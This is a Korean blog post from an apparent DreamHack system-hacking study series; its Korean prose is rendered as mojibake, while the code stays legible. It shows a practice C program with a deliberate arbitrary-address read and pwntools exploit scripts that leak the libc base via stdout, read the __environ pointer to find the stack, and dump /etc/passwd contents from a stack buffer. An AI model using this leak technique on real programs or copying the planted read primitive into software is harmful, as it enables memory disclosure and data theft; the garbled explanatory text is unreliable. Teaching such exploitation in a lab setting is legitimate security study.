
ํ๋ก์ธ์ค๋ ํ๊ฒฝ ๋ณ์ ์ ๋ณด๋ฅผ ์ ์ฅํ๊ณ , ํ์ํ ๋๋ง๋ค ๋ถ๋ฌ์ ์ฌ์ฉํ๋ค.
๋ผ์ด๋ธ๋ฌ๋ฆฌ ํจ์์์ ํ๊ฒฝ ๋ณ์ ํฌ์ธํฐ์ ๊ด๋ จ๋ ๊ณต๊ฒฉ์ ๋ํด ์์๋ณด๊ณ ์ ํ๋ค.
์ด์ ์ ํ๊ฒฝ ๋ณ์๋ฅผ ์ด๋ ์์ญ์ ์ ์ฅํ๊ณ , ์ด๋ป๊ฒ ์ฐธ์กฐํ๋์ง ์๊ณ ์์ด์ผ ํ๊ธฐ ๋๋ฌธ์ ์ด๋ฅผ ๋จผ์ ์์๋ณด์.
์ค์ต ์ฝ๋๋ ๋ค์๊ณผ ๊ฐ๋ค.
// Name: environ.c
// Compile: gcc -o environ environ.c
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <signal.h>
#include <stdlib.h>
void sig_handle() {
exit(0);
}
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
signal(SIGALRM, sig_handle);
alarm(5);
}
void read_file() {
char file_buf[4096];
int fd = open("/etc/passwd", O_RDONLY);
read(fd, file_buf, sizeof(file_buf) - 1);
close(fd);
}
int main() {
char buf[1024];
long addr;
int idx;
init();
read_file();
printf("stdout: %p\n", stdout);
while (1) {
printf("> ");
scanf("%d", &idx);
switch (idx) {
case 1:
printf("Addr: ");
scanf("%ld", &addr);
printf("%s", (char *)addr);
break;
default:
break;
}
}
return 0;
}
ํ๊ฒฝ ๋ณ์
ํ๊ฒฝ๋ณ์ (Environment Variable)
: ๋งค๋ฒ ๋ณํ ์ ์๋ ๋์ ์ธ ๊ฐ๋ค์ ๋ชจ์์ผ๋ก, ์์คํ ์ ์ ๋ณด๋ฅผ ๊ฐ๊ณ ์๋ ๋ณ์
-> ์ฌ์ฉ์๊ฐ ์ง์ ์ถ๊ฐ ๋ฐ ์์ ํ๊ฑฐ๋ ์ญ์ ํ ์ ์๋ ๊ฐ์ด๋ค.
ํ๊ฒฝ ๋ณ์๋ ํฐ๋ฏธ๋ ๋ฟ๋ง ์๋๋ผ ํ๋ก๊ทธ๋จ์์๋ ์ฐธ์กฐํ๋ค. ํ๋ก๊ทธ๋จ์์๋ ๋ช ๋ น์ด๋ฅผ ์คํํด์ผ ํ๋ ๊ฒฝ์ฐ๊ฐ ์ข ์ข ์์ผ๋ฉฐ, ์ ๋ ๊ฒฝ๋ก๋ฅผ ์ ๋ ฅํ์ง ์์๋ ๋ช ๋ น์ด๋ฅผ ์คํํ ์ ์๋ค. ํ๋ก์ธ์ค๋ฅผ ๋ก๋ํ๋ฉด์ ํ๊ฒฝ๋ณ์๋ฅผ ์ด๊ธฐํํ๋ ๊ฒ ๊ฐ๋ฅํ๊ธฐ ๋๋ฌธ์ด๋ค.
๋ฆฌ๋ ์ค ๋ฐ์ด๋๋ฆฌ๋ฅผ ๊ณต๊ฒฉํ ๋ ์ํฉ์ ๋ฐ๋ผ ์คํ ์ฃผ์๋ฅผ ์์๋ด์ผ ํ ๋๊ฐ ์๋ค. ํ์ง๋ง ๊ธฐ๋ณธ์ ์ผ๋ก ๋ฆฌ๋ ์ค ๋ฐ์ด๋๋ฆฌ๋ ์คํ ์ฃผ์๋ฅผ ํฌํจํ์ง ์๊ธฐ ๋๋ฌธ์ ์คํ ์ฃผ์๋ฅผ ์ ์ญ ๋ณ์์ ์ ์ฅํ๋ ์ฝ๋๊ฐ ์์ง ์๋ ํ ๋ฐ์ด๋๋ฆฌ ์ฃผ์ ๋ด์์ ์คํ ์ฃผ์๋ฅผ ์ฐพ๋ ๊ฒ์ ๋ถ๊ฐ๋ฅํ๋ค. ํ๊ฒฝ ๋ณ์์ ๋ํ ์ ๋ณด๋ ์คํ ์์ญ์ ์กด์ฌํ๊ณ , ๋ผ์ด๋ธ๋ฌ๋ฆฌ ํจ์๋ฅผ ์คํํ ๋๋ ํด๋น ์ ๋ณด๋ฅผ ์ฐธ์กฐํ๊ธฐ ๋๋ฌธ์ ํ๊ฒฝ ๋ณ์๋ฅผ ๊ฐ๋ฆฌํค๋ ํฌ์ธํฐ๊ฐ ๋ณ๋๋ก ์ ์ธ๋์ด ์๋ค.
๋ฐ๋ผ์, ํด๋น ๋ผ์ด๋ธ๋ฌ๋ฆฌ ์ฃผ์๋ฅผ ์๊ณ ์๊ณ , ์์์ ์ฃผ์๋ฅผ ์ฝ์ด๋ผ ์ ์๋ ์ทจ์ฝ์ ์ด ์๋ค๋ฉด ์คํ ์ฃผ์๋ฅผ ์์๋ผ ์ ์๋ค.
__environ
๋ค์์ libc.so.6 ํ์ผ์์ environ ์ฌ๋ณผ์ ์ฐพ๋ ๋ช ๋ น์ด๋ฅผ ์คํํ ํ๋ฉด์ด๋ค.
__environ ์ด๋ผ๋ ์ด๋ฆ์ ์ ์ญ ๋ณ์๊ฐ ์กด์ฌํ๋ ๊ฑธ ํ์ธํ ์ ์๋ค. ์ด๋ ์์คํ ๋ช ๋ น์ด๋ฅผ ์คํํ๊ธฐ ์ํ execve ๊ณ์ด์ ํจ์์ getenv ๋ฑ ํ๊ฒฝ ๋ณ์์ ๊ด๋ จ๋ ํจ์์์ ์ฐธ์กฐํ๋ ๋ณ์์ด๋ค.
์์ ์ธ๊ธํ ์ค์ต ์์ ๋ฅผ ์ปดํ์ผํ ๋ค ๋๋ฒ๊น ํด์ ํฌ์ธํฐ์ ์ด๋ค ์ฃผ์๊ฐ ์๋์ง ํ์ธํด๋ณด์.
๋ค์๊ณผ ๊ฐ์ด ๋๋ฒ๊น ํด์ __environ ํฌ์ธํฐ์ ์ฃผ์๋ฅผ(0x00007fffffffe038) ํ์ธํ๊ณ , ํด๋น ์ฃผ์๊ฐ ๊ฐ๋ฆฌํค๋ ๊ฒฐ๊ณผ๋ฅผ ํ์ธํด๋ดค๋ค.
์ด๋ ๋๋ธ ํฌ์ธํฐ๋ก, ๊ฐ๊ฐ์ ํ๊ฒฝ ๋ณ์ ๋ฌธ์์ด์ด ํฌํจ๋ ์ฃผ์๋ฅผ ๊ฐ๊ณ ์๋ ๊ฑธ ํ์ธํ ์ ์์ผ๋ฉฐ ํด๋น ์ฃผ์๋ฅผ vmmap ๋ช ๋ น์ด๋ก ํ์ธํด๋ณด๋ ์คํ ์์ญ์ธ ๊ฑธ ํ์ธํ ์ ์์๋ค.
๋ผ์ด๋ธ๋ฌ๋ฆฌ ์ฃผ์๋ฅผ ์๊ณ ์๊ณ , ํด๋น ์ฃผ์๋ฅผ ์ฝ์ ์ ์๋ ์ทจ์ฝ์ ์ด ์๋ ๊ฒฝ์ฐ, ์คํ ์ฃผ์๋ฅผ ๋ฆญํ๊ณ ๊ณต๊ฒฉ์ ์ด์ฉํ ์ ์๋ค.
์ฝ๋ ๋ถ์
๋ณดํธ ๊ธฐ๋ฒ๐ก๏ธ
์ค์ต ์ฝ๋์ ์ผ๋ถ(๋ฉ์ธํจ์)๋ฅผ ์ดํด๋ณด์.
int main() {
char buf[1024];
long addr;
int idx;
init();
read_file();
printf("stdout: %p\n", stdout);
while (1) {
printf("> ");
scanf("%d", &idx);
switch (idx) {
case 1:
printf("Addr: ");
scanf("%ld", &addr);
printf("%s", (char *)addr);
break;
default:
break;
}
}
return 0;
}
๋ฉ์ธ ํจ์์์๋ stdout ๋ผ์ด๋ธ๋ฌ๋ฆฌ ์ฃผ์๋ฅผ ์ถ๋ ฅํ๊ณ , ๋ฐ๋ณตํด์ ์์ ์ฃผ์์ ์๋ ๊ฐ์ ์ฝ์ ์ ์๋(read_file) ์ทจ์ฝ์ ์ด ์กด์ฌํ๋ค.
์ต์คํ๋ก์
__environ ์ฃผ์ ๊ณ์ฐ
stdout ์ฃผ์๋ฅผ ํ๋ํ ๋ค์ ๋ผ์ด๋ธ๋ฌ๋ฆฌ์์ ํด๋น ์ฌ๋ณผ์ ์ฃผ์๋ฅผ ์์๋ธ ๋ค ๋บ์ ์ ํตํด ๋ผ์ด๋ธ๋ฌ๋ฆฌ ๋ฒ ์ด์ค ์ฃผ์๋ฅผ ์์๋ผ ์ ์๋ค.
๊ทธ ๋ค์ ์ ์ ๊ตฌํ๋ __environ ํฌ์ธํฐ์ ์ฌ๋ณผ ์ฃผ์๋ฅผ ๋ํด์ ํด๋น ํฌ์ธํฐ์ ์ฃผ์๋ฅผ ๊ตฌํด์ผ ํ๋ค.
# Name: environ.py
from pwn import *
p = process("./environ")
elf = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p.recvuntil(": ")
stdout = int(p.recvuntil("\n"),16)
libc_base = stdout - elf.symbols['_IO_2_1_stdout_']
libc_environ = libc_base + elf.symbols['__environ']
print(hex(libc_base))
print(hex(libc_environ))
p.interactive()
๋ค์์ ์ต์คํ๋ก์ ์ฝ๋๋ pwntools์์ ์ ๊ณตํ๋ ELF ํด๋์ค๋ฅผ ์ฌ์ฉํด ๊ฐ ์ฌ๋ณผ์ ์ฃผ์๋ฅผ ์์๋ด๋ ์ฝ๋์ด๋ค.
๋ผ์ด๋ธ๋ฌ๋ฆฌ์ ์ ๋ณด๋ฅผ ์ฝ์ด _IO_2_1_stdout๊ณผ __environ ์ฌ๋ณผ์ ์ฃผ์๋ฅผ ์์๋ด๊ณ , ์คํ์ ์ ๊ณ์ฐํด์ ์ค์ ์ฃผ์๋ฅผ ์์๋ธ๋ค.
์ฝ๋๋ฅผ ์คํํ๋ฉด ์๋์ ๊ฐ๋ค.
๋ผ์ด๋ธ๋ฌ๋ฆฌ ๋ฒ ์ด์ค ์ฃผ์์ __environ ์ฃผ์๋ฅผ ์์๋ธ ๊ฑธ ํ์ธํ ์ ์๋ค.
์คํ ์ฃผ์ ๊ณ์ฐ
__environ์ ์ฃผ์๋ฅผ ์์๋์ผ๋ ์์ ์ฃผ์ ์ฝ๊ธฐ ์ทจ์ฝ์ ์ ์ฌ์ฉํด์ ์คํ ์ฃผ์๋ฅผ ๊ตฌํ๊ณ , ์ด๋ฅผ ๊ธฐ๋ฐ์ผ๋ก ํ์ผ์ ๋ด์ฉ์ด ์ ์ฅ๋ ์คํ ๋ฒํผ์ ์ฃผ์๋ฅผ ์์๋ด์ผ ํ๋ค.
ํ์ผ ๋ด์ฉ์ด ์ ์ฅ๋ ์คํ ๋ฒํผ์ __environ ๋ณ์๊ฐ ๊ฐ๋ฆฌํค๋ ์คํ ์ฃผ์์ ๊ฑฐ๋ฆฌ ๊ฐ๊ฒฉ์ ๋๋ฒ๊น ์ ํตํด ์์๋ผ ์ ์๋ค.
๋์ค์ด์ ๋ธ ํ ๊ฒฐ๊ณผ๋ฅผ ํ์ธํ๋ +77 ๋ถ๋ถ์์ ํ์ผ์ ์ฝ๊ธฐ ๋๋ฌธ์ ์ด ๋ถ๋ถ์ ๋ธ๋ ์ดํฌ๋ฅผ ๊ฑธ์ด๋ณด์.
read ํจ์์ ์ธ์๋ฅผ ํ์ธํ๋ฉด ํ์ผ์ ๋ด์ฉ์ ์ ์ฅํ๋ ์์น๋ RCX ๋ ์ง์คํฐ์ด๋ฏ๋ก, ํด๋น ์คํ ๋ฒํผ ์ฃผ์์ ํ์ผ์ ๋ด์ฉ์ด ์ ์ฅ๋๋ค.
๊ทธ ๋ค์, __environ ํฌ์ธํฐ ์ฃผ์๊ฐ ์์ ์์๋ธ ์คํ ๋ฒํผ ์ฃผ์๋ฅผ ๋บผ์ ํ์ฌ ๊ฐ๊ฒฉ์ ์์๋ธ๋ค. ์์ ํ๋ฉด์ ํ์ธํ๋ฉด ์ ์ ์๋ฏ, ๋ ์ฃผ์์ 0x1538์์ ์ ์ ์๋ค.
ํ์ผ ๋ด์ฉ ์ฝ๊ธฐ
๋ ์ฃผ์์ ๊ฐ๊ฒฉ์ ์์๋ธ๋ค์, __environ ์ฃผ์์์ ๋ ์ฃผ์์ ๊ฐ๊ฒฉ์ธ 0x1538์ ๋บ ์ฃผ์๋ฅผ ์์ ์ฃผ์ ์ฝ๊ธฐ ์ทจ์ฝ์ ์ ํตํด ์ถ๋ ฅํ๋ค.
# Name: environ.py
from pwn import *
p = process("./environ")
elf = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p.recvuntil(": ")
stdout = int(p.recvuntil("\n"),16)
libc_base = stdout - elf.symbols['_IO_2_1_stdout_']
libc_environ = libc_base + elf.symbols['__environ']
print(hex(libc_base))
print(hex(libc_environ))
p.sendlineafter(">", "1")
p.sendlineafter(":", str(libc_environ))
p.recv(1)
stack_environ = u64(p.recv(6).ljust(8, b"\x00"))
file_content = stack_environ - 0x1538
print("stack_environ: " + hex(stack_environ))
p.sendlineafter(">", "1")
p.sendlineafter(":", str(file_content))
p.interactive()
์ต์คํ๋ก์ ์ฝ๋๋ฅผ ์คํํ ๊ฒฐ๊ณผ๋ ๋ค์๊ณผ ๊ฐ๋ค. (์๋ฌ๊ฐ ๋์ ์ฝ๋ ์ค ์ผ๋ถ๋ถ(\x00์)์ ๋ฐ์ดํธ ์ฒ๋ฆฌ๋ก ๋ฐ๊ฟจ๋ค.)
'DreamHack > SystemHacking' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[DreamHack System Hacking] rtld (0) | 2022.09.22 |
---|---|
[DreamHack System Hacking] __eviron (0) | 2022.09.21 |
[DreamHack System Hacking] Linux Library exploit > overwrite _rtld_global (1) | 2022.09.21 |
[DreamHack System Hacking] Linux Library exploit > _rtld_global (1) | 2022.09.20 |
[DreamHack System Hacking] master_canary (0) | 2022.09.19 |